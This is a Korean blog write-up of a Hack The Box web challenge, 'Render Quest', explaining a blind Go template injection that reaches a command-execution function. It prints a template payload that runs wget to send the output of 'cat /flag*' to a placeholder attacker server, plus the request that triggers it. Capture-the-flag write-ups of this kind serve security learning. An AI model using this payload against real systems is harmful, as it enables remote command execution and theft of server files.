🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

182

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/Wargame

[Hackthebox] - [Web] Render Quest Writeup(문제풀이)

알 수 없는 사용자 2023. 12. 20. 02:04
728x90
반응형

 

문제 이름: Render Quest

문제 유형: Web

문제 난이도: Easy

문제 설명: You've found a website that lets you input remote templates for rendering. Your task is to exploit this system's vulnerabilities to access and retrieve a hidden flag. Good luck!

 


 

취약한 코드 설명

func (p RequestData) FetchServerInfo(command string) string {
	out, err := exec.Command("sh", "-c", command).Output()
	if err != nil {
		return ""
	}
	return string(out)
}

 

main.go 파일을 보면 위와 같이 FetchServerInfo 함수에는 Command Injection 취약점이 존재합니다.

 

func readRemoteFile(url string) (string, error) {
	response, err := http.Get(url)
	if err != nil {
		return "", err
	}

	defer response.Body.Close()

	if response.StatusCode != http.StatusOK {
		return "", fmt.Errorf("HTTP request failed with status code: %d", response.StatusCode)
	}

	content, err := io.ReadAll(response.Body)
	if err != nil {
		return "", err
	}

	return string(content), nil
}

 

readRemoteFile 함수를 보면 외부 HTTP 서비스로부터 임의 Response의 문자열을 가져오고 있습니다.

그리고 아래의 코드에서 tmplFile 변수에 반환 값을 보내주고 있습니다.

 

func getTpl(w http.ResponseWriter, r *http.Request) {
	var page string = r.URL.Query().Get("page")
	var remote string = r.URL.Query().Get("use_remote")
    
    // 중략
    
	var tmplFile string

	if remote == "true" {
		tmplFile, err = readRemoteFile(page)

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	} else {
		tmplFile, err = readFile(TEMPLATE_DIR+"/"+page, "./")

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	}

	tmpl, err := template.New("page").Parse(tmplFile)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	err = tmpl.Execute(w, reqData)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}
}

 

그리고 tmpl 에서 다시 New 함수로 template instance를 생성하고 Parse 함수로 템플릿 태그를 파싱해서 마지막에 Execute 함수로 page라는 템플릿 템플릿 태그를 실행하면서 함수는 끝납니다.

 

보면 알지만, 템플릿을 실행할 때 외부 페이지에 따로 출력을하지 않고 오류가 난 경우에만 출력되고 있는 것을 볼 수 있습니다. 때문에 Golang Template Injection 종류의 취약점이지만, Blind 유형의 Command Injection 취약점임을 짐작할 수 있습니다.

 

익스플로잇

golang html/template 모듈에서는 아래와 같이 함수를 실행하거나 함수에 매개변수를 넘겨줄 수 있습니다.

{{ .Hello "world"}}

 

위 코드에서는 Hello 라는 함수에 "world"라는 문자열을 넘겨주는 템플릿 작성의 예시입니다.

 

문제의 코드에서는 Command Injection에 취약한 함수로 FetchServerInfo 가 있었습니다. 이 함수에 임의 명령어를 매개변수로 넘겨주면 원하는 명령어를 수행할 수 있습니다.

 

Linux 명령어 중 wget 명령어는 외부에 요청을 보내고 그 내용을 받아오는 명령입니다. 이 명령어를 이용해서 문제를 풀 수 있습니다.

{{ .FetchServerInfo "wget https://공격자서버주소?a=`cat /flag*`"}}

 

위와 같이 한다면 cat /flag* 명령어를 수행한 결과가 공격자 서버 주소의 a 라는 파라미터에 넘겨지면서 공격자 서버에는 flag 값이 담겨질 것입니다.

 

그리고 해당 템플릿 태그가 담긴 공격자 서버 주소를 page 파라미터에 넘겨주고, use_remote 파라미터를 true로 해주면 flag 값이 정상적으로 응답오는 것을 확인할 수 있습니다.

http://문제서버주소/render?use_remote=true&page=https://공격자서버주소

 

- 끝 -

728x90
반응형
댓글